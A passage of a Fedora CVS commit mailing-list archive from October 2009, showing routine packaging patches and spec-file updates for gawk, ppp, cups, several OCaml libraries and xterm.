@@ -306,7 +306,6 @@
 #undef STACK_SIZE
 
 	myname = gawk_name(argv[0]);
-        argv[0] = (char *) myname;
 	os_arg_fixup(&argc, &argv); /* emulate redirection, expand wildcards */
 
 	/* remove sccs gunk */
@@ -586,7 +585,9 @@
 		optind++;
 	}
 
-	init_args(optind, argc, myname, argv);
+	init_args(optind, argc,
+			do_posix ? argv[0] : myname,
+			argv);
 	(void) tokexpand();
 
 #if defined(LC_NUMERIC)



Index: gawk.spec
===================================================================
RCS file: /cvs/extras/rpms/gawk/devel/gawk.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- gawk.spec	9 Sep 2009 20:27:51 -0000	1.60
+++ gawk.spec	8 Oct 2009 11:41:58 -0000	1.61
@@ -1,11 +1,13 @@
 Summary: The GNU version of the awk text processing utility
 Name: gawk
 Version: 3.1.7
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv3+
 Group: Applications/Text
 URL: http://www.gnu.org/software/gawk/gawk.html
 Source0: http://ftp.gnu.org/gnu/gawk/gawk-%{version}.tar.xz
+# Patch from Arnold, the upstream maintainer:
+Patch0: gawk-posix-mode-argv0.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 Requires(post): /sbin/install-info
@@ -21,6 +23,7 @@ considered to be a standard Linux tool f
 
 %prep
 %setup -q
+%patch0
 
 %build
 %configure --bindir=/bin --disable-libsigsegv
@@ -69,6 +72,9 @@ fi
 %{_datadir}/awk
 
 %changelog
+* Thu Oct  8 2009 Stepan Kasal <skasal at redhat.com> - 3.1.7-2
+- in posix mode, make ARGV[0] = argv[0] (#525381)
+
 * Wed Sep  9 2009 Stepan Kasal <skasal at redhat.com> - 3.1.7-1
 - new upstream version
 - disable libsigsegv



From jskala at fedoraproject.org  Thu Oct  8 11:48:02 2009
From: jskala at fedoraproject.org (Jiri Skala)
Date: Thu,  8 Oct 2009 11:48:02 +0000 (UTC)
Subject: rpms/ppp/devel ppp-2.4.2-no_strip.patch,1.1,1.2 ppp.spec,1.51,1.52
Message-ID: <20091008114802.8907611C00DB@cvs1.fedora.phx.redhat.com>

Author: jskala

Update of /cvs/extras/rpms/ppp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17306

Modified Files:
	ppp-2.4.2-no_strip.patch ppp.spec 
Log Message:
* Thu Oct 08 2009 Jiri Skala <jskala at redhat.com>  - 2.4.4-14
- fixed #519042 - ppp package is missing URL in spec
- fixed #524575 - ppp: no_strip patch modifies backup files created by previous patches


ppp-2.4.2-no_strip.patch:
 chat/Makefile.linux                  |    2 +-
 chat/Makefile.linux.make             |    2 +-
 chat/Makefile.linux.pie              |    2 +-
 pppd/Makefile.linux                  |    4 ++--
 pppd/Makefile.linux.lib64            |    4 ++--
 pppd/Makefile.linux.pie              |    4 ++--
 pppd/plugins/radius/Makefile.linux   |    6 +++---
 pppd/plugins/rp-pppoe/Makefile.linux |    2 +-
 pppdump/Makefile.linux               |    2 +-
 pppstats/Makefile.linux              |    2 +-
 10 files changed, 15 insertions(+), 15 deletions(-)

Index: ppp-2.4.2-no_strip.patch
===================================================================
RCS file: /cvs/extras/rpms/ppp/devel/ppp-2.4.2-no_strip.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ppp-2.4.2-no_strip.patch	16 Sep 2004 10:14:02 -0000	1.1
+++ ppp-2.4.2-no_strip.patch	8 Oct 2009 11:48:02 -0000	1.2
@@ -1,23 +1,3 @@
---- ppp-2.4.2/pppd/Makefile.linux.make.no_strip	2003-11-27 22:55:19.000000000 +0100
-+++ ppp-2.4.2/pppd/Makefile.linux.make	2004-09-16 12:00:08.641944353 +0200
-@@ -98,7 +98,7 @@
- CFLAGS	+= -DUSE_SRP -DOPENSSL -I/usr/local/ssl/include
- LIBS	+= -lsrp -L/usr/local/ssl/lib -lcrypto
- TARGETS	+= srp-entry
--EXTRAINSTALL = $(INSTALL) -s -c -m 555 srp-entry $(BINDIR)/srp-entry
-+EXTRAINSTALL = $(INSTALL) -c -m 555 srp-entry $(BINDIR)/srp-entry
- MANPAGES += srp-entry.8
- EXTRACLEAN += srp-entry.o
- NEEDDES=y
-@@ -199,7 +199,7 @@
- install: pppd
- 	mkdir -p $(BINDIR) $(MANDIR)
- 	$(EXTRAINSTALL)
--	$(INSTALL) -s -c -m 555 pppd $(BINDIR)/pppd
-+	$(INSTALL) -c -m 555 pppd $(BINDIR)/pppd
- 	if chgrp pppusers $(BINDIR)/pppd 2>/dev/null; then \
- 	  chmod o-rx,u+s $(BINDIR)/pppd; fi
- 	$(INSTALL) -c -m 444 pppd.8 $(MANDIR)/man8
 --- ppp-2.4.2/pppd/Makefile.linux.no_strip	2004-09-16 12:00:08.550956895 +0200
 +++ ppp-2.4.2/pppd/Makefile.linux	2004-09-16 12:00:08.651942974 +0200
 @@ -99,7 +99,7 @@
@@ -38,21 +18,6 @@
  	if chgrp pppusers $(BINDIR)/pppd 2>/dev/null; then \
  	  chmod o-rx,u+s $(BINDIR)/pppd; fi
  	$(INSTALL) -c -m 444 pppd.8 $(MANDIR)/man8
---- ppp-2.4.2/pppd/plugins/radius/Makefile.linux.make.no_strip	2002-11-09 12:24:42.000000000 +0100
-+++ ppp-2.4.2/pppd/plugins/radius/Makefile.linux.make	2004-09-16 12:00:08.642944215 +0200
-@@ -30,9 +30,9 @@
- install: all
- 	$(MAKE) $(MFLAGS) -C radiusclient install
- 	$(INSTALL) -d -m 755 $(LIBDIR)
--	$(INSTALL) -s -c -m 755 radius.so $(LIBDIR)
--	$(INSTALL) -s -c -m 755 radattr.so $(LIBDIR)
--	$(INSTALL) -s -c -m 755 radrealms.so $(LIBDIR)
-+	$(INSTALL) -c -m 755 radius.so $(LIBDIR)
-+	$(INSTALL) -c -m 755 radattr.so $(LIBDIR)
-+	$(INSTALL) -c -m 755 radrealms.so $(LIBDIR)
- 	$(INSTALL) -c -m 444 pppd-radius.8 $(MANDIR)/man8
- 	$(INSTALL) -c -m 444 pppd-radattr.8 $(MANDIR)/man8
- 
 --- ppp-2.4.2/pppd/plugins/radius/Makefile.linux.no_strip	2004-09-16 12:00:08.518961306 +0200
 +++ ppp-2.4.2/pppd/plugins/radius/Makefile.linux	2004-09-16 12:00:08.643944077 +0200
 @@ -30,9 +30,9 @@
@@ -68,17 +33,6 @@
  	$(INSTALL) -c -m 444 pppd-radius.8 $(MANDIR)/man8
  	$(INSTALL) -c -m 444 pppd-radattr.8 $(MANDIR)/man8
  
---- ppp-2.4.2/pppd/plugins/rp-pppoe/Makefile.linux.make.no_strip	2004-01-13 04:57:55.000000000 +0100
-+++ ppp-2.4.2/pppd/plugins/rp-pppoe/Makefile.linux.make	2004-09-16 12:00:08.650943112 +0200
-@@ -25,7 +25,7 @@
- 
- install: all
- 	$(INSTALL) -d -m 755 $(LIBDIR)
--	$(INSTALL) -s -c -m 4550 rp-pppoe.so $(LIBDIR)
-+	$(INSTALL) -c -m 4550 rp-pppoe.so $(LIBDIR)
- 
- clean:
- 	rm -f *.o *.so
 --- ppp-2.4.2/pppd/plugins/rp-pppoe/Makefile.linux.no_strip	2004-09-16 12:00:08.518961306 +0200
 +++ ppp-2.4.2/pppd/plugins/rp-pppoe/Makefile.linux	2004-09-16 12:00:08.650943112 +0200
 @@ -25,7 +25,7 @@
@@ -130,15 +84,6 @@
  	if chgrp pppusers $(BINDIR)/pppd 2>/dev/null; then \
  	  chmod o-rx,u+s $(BINDIR)/pppd; fi
  	$(INSTALL) -c -m 444 pppd.8 $(MANDIR)/man8
---- ppp-2.4.2/pppdump/Makefile.linux.make.no_strip	1999-07-26 13:09:29.000000000 +0200
-+++ ppp-2.4.2/pppdump/Makefile.linux.make	2004-09-16 12:00:08.652942836 +0200
-@@ -13,5 +13,5 @@
- 
- install:
- 	mkdir -p $(BINDIR) $(MANDIR)/man8
--	$(INSTALL) -s -c pppdump $(BINDIR)
-+	$(INSTALL) -c pppdump $(BINDIR)
- 	$(INSTALL) -c -m 444 pppdump.8 $(MANDIR)/man8
 --- ppp-2.4.2/pppdump/Makefile.linux.no_strip	2004-09-16 12:00:08.516961582 +0200
 +++ ppp-2.4.2/pppdump/Makefile.linux	2004-09-16 12:00:08.653942699 +0200
 @@ -13,5 +13,5 @@
@@ -148,17 +93,6 @@
 -	$(INSTALL) -s -c pppdump $(BINDIR)
 +	$(INSTALL) -c pppdump $(BINDIR)
  	$(INSTALL) -c -m 444 pppdump.8 $(MANDIR)/man8
---- ppp-2.4.2/pppstats/Makefile.linux.make.no_strip	2002-11-09 12:24:43.000000000 +0100
-+++ ppp-2.4.2/pppstats/Makefile.linux.make	2004-09-16 12:00:08.654942561 +0200
-@@ -19,7 +19,7 @@
- 
- install: pppstats
- 	-mkdir -p $(MANDIR)/man8
--	$(INSTALL) -s -c pppstats $(BINDIR)/pppstats
-+	$(INSTALL) -c pppstats $(BINDIR)/pppstats
- 	$(INSTALL) -c -m 444 pppstats.8 $(MANDIR)/man8/pppstats.8
- 
- pppstats: $(PPPSTATSRCS)
 --- ppp-2.4.2/pppstats/Makefile.linux.no_strip	2004-09-16 12:00:08.517961444 +0200
 +++ ppp-2.4.2/pppstats/Makefile.linux	2004-09-16 12:00:08.654942561 +0200
 @@ -19,7 +19,7 @@


Index: ppp.spec
===================================================================
RCS file: /cvs/extras/rpms/ppp/devel/ppp.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- ppp.spec	16 Sep 2009 17:58:44 -0000	1.51
+++ ppp.spec	8 Oct 2009 11:48:02 -0000	1.52
@@ -1,9 +1,10 @@
 Summary: The PPP (Point-to-Point Protocol) daemon.
 Name: ppp
 Version: 2.4.4
-Release: 13%{?dist}
+Release: 14%{?dist}
 License: BSD and LGPLv2+ and GPLv2+ and Public Domain
 Group: System Environment/Daemons
+URL: http://www.samba.org/ppp
 Source0: ftp://ftp.samba.org/pub/ppp/ppp-%{version}.tar.gz
 Source1: ppp-2.3.5-pamd.conf
 Source2: ppp.logrotate
@@ -136,6 +137,10 @@ rm -rf $RPM_BUILD_ROOT
 %doc PLUGINS
 
 %changelog
+* Thu Oct 08 2009 Jiri Skala <jskala at redhat.com>  - 2.4.4-14
+- fixed #519042 - ppp package is missing URL in spec
+- fixed #524575 - ppp: no_strip patch modifies backup files created by previous patches
+
 * Wed Sep 16 2009 Tomas Mraz <tmraz at redhat.com> 2.4.4-13
 - use password-auth common PAM configuration instead of system-auth
 



From twaugh at fedoraproject.org  Thu Oct  8 11:51:08 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu,  8 Oct 2009 11:51:08 +0000 (UTC)
Subject: rpms/cups/F-11 cups-generic-ps.patch, NONE, 1.1 cups.spec, 1.521,
	1.522
Message-ID: <20091008115108.6A0BE11C0268@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18821

Modified Files:
	cups.spec 
Added Files:
	cups-generic-ps.patch 
Log Message:
* Thu Oct  8 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-4
- Fixed naming of 'Generic PostScript Printer' entry.


cups-generic-ps.patch:
 postscript.ppd |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE cups-generic-ps.patch ---
diff -up ./postscript.ppd.generic-ps ./postscript.ppd
--- ./postscript.ppd.generic-ps	2009-10-08 11:08:07.389336611 +0100
+++ ./postscript.ppd	2009-10-08 11:06:40.836338000 +0100
@@ -12,11 +12,11 @@
 *LanguageVersion: English
 *LanguageEncoding: ISOLatin1
 *PCFileName:	"POSTSCRIPT.PPD"
-*Manufacturer:	"Postscript"
-*Product:	"(CUPS v1.1)"
-*ModelName:     "Generic postscript printer"
-*ShortNickName: "Generic postscript printer"
-*NickName:      "Generic postscript printer"
+*Manufacturer:	"Generic"
+*Product:	"(PostScript Printer)"
+*ModelName:     "Generic PostScript Printer"
+*ShortNickName: "Generic PostScript Printer"
+*NickName:      "Generic PostScript Printer"
 *PSVersion:	"(2017.000) 0"
 *LanguageLevel:	"2"
 *ColorDevice:	False


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-11/cups.spec,v
retrieving revision 1.521
retrieving revision 1.522
diff -u -p -r1.521 -r1.522
--- cups.spec	7 Oct 2009 16:46:43 -0000	1.521
+++ cups.spec	8 Oct 2009 11:51:07 -0000	1.522
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -26,6 +26,7 @@ Source10: ncp.backend
 Source12: cups.cron
 Source14: textonly.filter
 Source15: textonly.ppd
+Patch0: cups-generic-ps.patch
 Patch1: cups-no-gzip-man.patch
 Patch2: cups-1.1.16-system-auth.patch
 Patch3: cups-multilib.patch
@@ -181,6 +182,10 @@ module. 
 
 %prep
 %setup -q
+gunzip -c %{SOURCE8} > postscript.ppd
+%patch0 -p0 -b .generic-ps
+gzip -n postscript.ppd
+
 %patch1 -p1 -b .no-gzip-man
 %patch2 -p1 -b .system-auth
 %patch3 -p1 -b .multilib
@@ -293,7 +298,7 @@ install -c -m 755 %{SOURCE6} $RPM_BUILD_
 install -c -m 644 %{SOURCE7} $RPM_BUILD_ROOT%{_sysconfdir}/cups
 
 # Ship a generic postscript PPD file (#73061)
-install -c -m 644 %{SOURCE8} $RPM_BUILD_ROOT%{_datadir}/cups/model
+install -c -m 644 postscript.ppd.gz $RPM_BUILD_ROOT%{_datadir}/cups/model
 
 # Ship a printers.conf file, and a client.conf file.  That way, they get
 # their SELinux file contexts set correctly.
@@ -505,6 +510,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Thu Oct  8 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-4
+- Fixed naming of 'Generic PostScript Printer' entry.
+
 * Wed Oct  7 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-3
 - Use upstream patch for STR #3356 (bug #526405).
 



From rjones at fedoraproject.org  Thu Oct  8 11:51:35 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 11:51:35 +0000 (UTC)
Subject: rpms/ocaml-cairo/devel cairo-ocaml-1.0.0-bigarray.patch, NONE,
	1.1 .cvsignore, 1.2, 1.3 ocaml-cairo.spec, 1.13, 1.14 sources,
	1.2, 1.3
Message-ID: <20091008115135.49C4711C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-cairo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19053

Modified Files:
	.cvsignore ocaml-cairo.spec sources 
Added Files:
	cairo-ocaml-1.0.0-bigarray.patch 
Log Message:
* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 1:1.0.0-1
- New upstream version 1.0.0.
- Yes, version number really did roll backwards, so now we're using Epoch.
- Patch for compatibility with OCaml 3.11.1 (renamed bigarray structs).


cairo-ocaml-1.0.0-bigarray.patch:
 ml_cairo_bigarr.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE cairo-ocaml-1.0.0-bigarray.patch ---
diff -ur cairo-ocaml-1.0.0.orig/src/ml_cairo_bigarr.c cairo-ocaml-1.0.0.compat/src/ml_cairo_bigarr.c
--- cairo-ocaml-1.0.0.orig/src/ml_cairo_bigarr.c	2009-06-18 19:01:26.000000000 +0100
+++ cairo-ocaml-1.0.0.compat/src/ml_cairo_bigarr.c	2009-10-08 12:46:54.795555155 +0100
@@ -9,6 +9,8 @@
 #include "ml_cairo.h"
 
 #include <caml/bigarray.h>
+#undef CAML_NAME_SPACE
+#include <caml/compatibility.h>
 
 unsigned long bigarray_byte_size (struct caml_bigarray *);
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-cairo/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Mar 2008 19:03:48 -0000	1.2
+++ .cvsignore	8 Oct 2009 11:51:34 -0000	1.3
@@ -1 +1 @@
-ocaml-cairo-1.2.0.cvs20080301.tar.gz
+cairo-ocaml-1.0.0.tar.bz2


Index: ocaml-cairo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-cairo/devel/ocaml-cairo.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- ocaml-cairo.spec	29 Sep 2009 15:16:06 -0000	1.13
+++ ocaml-cairo.spec	8 Oct 2009 11:51:35 -0000	1.14
@@ -1,28 +1,22 @@
 %define opt %(test -x %{_bindir}/ocamlopt && echo 1 || echo 0)
 %define debug_package %{nil}
 
-# There are no source releases for ocaml-cairo.  To get the source
-# matching this you have to do:
-#
-# cvs -d:pserver:anonymous at cvs.cairographics.org:/cvs/cairo co -D 2008-03-01 cairo-ocaml
-# tar zcf /tmp/ocaml-cairo-1.2.0.cvs20080301.tar.gz --exclude CVS cairo-ocaml
-#
-# Whether you'll get precisely the same tarball by this method is
-# questionable.  If files get checked out in a different order then
-# you might need to use 'diff -urN' instead of comparing MD5 hashes.
-
 Name:           ocaml-cairo
-Version:        1.2.0.cvs20080301
-Release:        11%{?dist}
+Epoch:          1
+Version:        1.0.0
+Release:        1%{?dist}
 Summary:        OCaml library for accessing cairo graphics
 
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+ExcludeArch:    sparc64 s390 s390x
+
 Group:          Development/Libraries
 License:        LGPLv2
 URL:            http://cairographics.org/cairo-ocaml/
-Source0:        ocaml-cairo-%{version}.tar.gz
+
+Source0:        cairo-ocaml-%{version}.tar.bz2
 Source1:        ocaml-cairo-META
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-ExcludeArch:    sparc64 s390 s390x
+Patch0:         cairo-ocaml-1.0.0-bigarray.patch
 
 BuildRequires:  ocaml >= 3.10.0
 BuildRequires:  ocaml-findlib-devel
@@ -56,7 +50,7 @@ PDF 1.4.
 %package        devel
 Summary:        Development files for %{name}
 Group:          Development/Libraries
-Requires:       %{name} = %{version}-%{release}
+Requires:       %{name} = %{epoch}:%{version}-%{release}
 
 
 %description    devel
@@ -65,7 +59,9 @@ developing applications that use %{name}
 
 
 %prep
-%setup -q -n cairo-ocaml
+%setup -q -n cairo-ocaml-%{version}
+%patch0 -p1
+
 aclocal -I support
 autoconf
 ./configure --libdir=%{_libdir}
@@ -119,6 +115,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 1:1.0.0-1
+- New upstream version 1.0.0.
+- Yes, version number really did roll backwards, so now we're using Epoch.
+- Patch for compatibility with OCaml 3.11.1 (renamed bigarray structs).
+
 * Tue Sep 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.2.0.cvs20080301-11
 - Force rebuild against newer lablgtk.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-cairo/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Mar 2008 19:03:48 -0000	1.2
+++ sources	8 Oct 2009 11:51:35 -0000	1.3
@@ -1 +1 @@
-a4a91f25a2c18d5d26f2f19cf5b12980  ocaml-cairo-1.2.0.cvs20080301.tar.gz
+2b7e6f4dc7b78236eadaac16e16af0a9  cairo-ocaml-1.0.0.tar.bz2



From rjones at fedoraproject.org  Thu Oct  8 11:58:23 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 11:58:23 +0000 (UTC)
Subject: rpms/ocaml-calendar/devel .cvsignore, 1.5, 1.6 ocaml-calendar.spec, 
	1.15, 1.16 sources, 1.5, 1.6
Message-ID: <20091008115823.45D0011C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-calendar/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23114

Modified Files:
	.cvsignore ocaml-calendar.spec sources 
Log Message:
* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 2.01.1-1
- New upstream release 2.01.1.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-calendar/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	10 Jul 2008 09:01:56 -0000	1.5
+++ .cvsignore	8 Oct 2009 11:58:23 -0000	1.6
@@ -1 +1 @@
-calendar-2.0.4.tar.gz
+calendar-2.01.1.tar.gz


Index: ocaml-calendar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-calendar/devel/ocaml-calendar.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- ocaml-calendar.spec	25 Jul 2009 19:52:04 -0000	1.15
+++ ocaml-calendar.spec	8 Oct 2009 11:58:23 -0000	1.16
@@ -2,14 +2,14 @@
 %define debug_package %{nil}
 
 Name:           ocaml-calendar
-Version:        2.0.4
-Release:        7%{?dist}
+Version:        2.01.1
+Release:        1%{?dist}
 Summary:        Objective Caml library for managing dates and times
 
 Group:          Development/Libraries
 License:        LGPLv2
 URL:            http://calendar.forge.ocamlcore.org/
-Source0:        http://www.lri.fr/~signoles/prog/calendar/calendar-%{version}.tar.gz
+Source0:        http://forge.ocamlcore.org/frs/download.php/173/calendar-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 ExcludeArch:    sparc64 s390 s390x
 
@@ -83,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 2.01.1-1
+- New upstream release 2.01.1.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0.4-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-calendar/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	10 Jul 2008 09:01:56 -0000	1.5
+++ sources	8 Oct 2009 11:58:23 -0000	1.6
@@ -1 +1 @@
-f460b1f0544d6c29b9d6517ef8a4b282  calendar-2.0.4.tar.gz
+a30974a97f718688198c5a5dc6235cff  calendar-2.01.1.tar.gz



From rjones at fedoraproject.org  Thu Oct  8 12:04:17 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 12:04:17 +0000 (UTC)
Subject: rpms/ocaml-camomile/devel .cvsignore, 1.2, 1.3 ocaml-camomile.spec, 
	1.9, 1.10 sources, 1.2, 1.3
Message-ID: <20091008120417.DCCA911C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-camomile/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25175

Modified Files:
	.cvsignore ocaml-camomile.spec sources 
Log Message:
Version 0.7.2.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camomile/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	20 Mar 2008 20:36:35 -0000	1.2
+++ .cvsignore	8 Oct 2009 12:04:15 -0000	1.3
@@ -1 +1 @@
-camomile-0.7.1.tar.bz2
+camomile-0.7.2.tar.bz2


Index: ocaml-camomile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camomile/devel/ocaml-camomile.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- ocaml-camomile.spec	25 Jul 2009 19:53:06 -0000	1.9
+++ ocaml-camomile.spec	8 Oct 2009 12:04:15 -0000	1.10
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-camomile
-Version:        0.7.1
-Release:        12%{?dist}
+Version:        0.7.2
+Release:        1%{?dist}
 Summary:        Unicode library for OCaml
 
 Group:          Development/Libraries
@@ -12,7 +12,7 @@ Group:          Development/Libraries
 # https://www.redhat.com/archives/fedora-legal-list/2008-March/msg00005.html
 License:        LGPLv2+
 URL:            http://sourceforge.net/projects/camomile/
-Source0:        http://downloads.sourceforge.net/camomile/camomile-0.7.1.tar.bz2
+Source0:        http://downloads.sourceforge.net/camomile/camomile-0.7.2.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 ExcludeArch:    ppc64 sparc64 s390 s390x
 
@@ -114,6 +114,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.7.2-1
+- New upstream version 0.7.2.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.7.1-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camomile/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	20 Mar 2008 20:36:35 -0000	1.2
+++ sources	8 Oct 2009 12:04:15 -0000	1.3
@@ -1 +1 @@
-9b8cedcf91e9795f85aaade5a6f1c515  camomile-0.7.1.tar.bz2
+288e17838fedc52aacb733952b25d5dd  camomile-0.7.2.tar.bz2



From rjones at fedoraproject.org  Thu Oct  8 12:06:58 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 12:06:58 +0000 (UTC)
Subject: rpms/ocaml-dbus/devel .cvsignore, 1.6, 1.7 ocaml-dbus.spec, 1.13,
	1.14 sources, 1.6, 1.7
Message-ID: <20091008120658.097BD11C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-dbus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26680

Modified Files:
	.cvsignore ocaml-dbus.spec sources 
Log Message:
New upstream version 0.24.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-dbus/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	31 Aug 2008 09:52:40 -0000	1.6
+++ .cvsignore	8 Oct 2009 12:06:57 -0000	1.7
@@ -1 +1 @@
-ocaml_dbus-0.07.tar.bz2
+ocaml_dbus-0.24.tar.bz2


Index: ocaml-dbus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-dbus/devel/ocaml-dbus.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- ocaml-dbus.spec	25 Jul 2009 19:55:20 -0000	1.13
+++ ocaml-dbus.spec	8 Oct 2009 12:06:57 -0000	1.14
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-dbus
-Version:        0.07
-Release:        6%{?dist}
+Version:        0.24
+Release:        1%{?dist}
 Summary:        OCaml library for using D-Bus
 
 Group:          Development/Libraries
@@ -96,6 +96,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.24-1
+- New upstream version 0.24.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.07-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-dbus/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	31 Aug 2008 09:52:40 -0000	1.6
+++ sources	8 Oct 2009 12:06:57 -0000	1.7
@@ -1 +1 @@
-5291a08a135b00ddbe3d38e51511ccb6  ocaml_dbus-0.07.tar.bz2
+b769af9141a5c073056ed46ef76ba5be  ocaml_dbus-0.24.tar.bz2



From mlichvar at fedoraproject.org  Thu Oct  8 12:16:10 2009
From: mlichvar at fedoraproject.org (Miroslav Lichvar)
Date: Thu,  8 Oct 2009 12:16:10 +0000 (UTC)
Subject: rpms/xterm/devel .cvsignore, 1.37, 1.38 sources, 1.37,
	1.38 xterm.spec, 1.79, 1.80 xterm-248-scrollup.patch, 1.1, NONE
Message-ID: <20091008121610.E61DF11C00DB@cvs1.fedora.phx.redhat.com>

Author: mlichvar

Update of /cvs/pkgs/rpms/xterm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29540

Modified Files:
	.cvsignore sources xterm.spec 
Removed Files:
	xterm-248-scrollup.patch 
Log Message:
- update to 249



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xterm/devel/.cvsignore,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- .cvsignore	17 Sep 2009 16:32:35 -0000	1.37
+++ .cvsignore	8 Oct 2009 12:16:10 -0000	1.38
@@ -1,2 +1,2 @@
 16colors.txt
-xterm-248.tgz
+xterm-249.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xterm/devel/sources,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- sources	17 Sep 2009 16:32:36 -0000	1.37
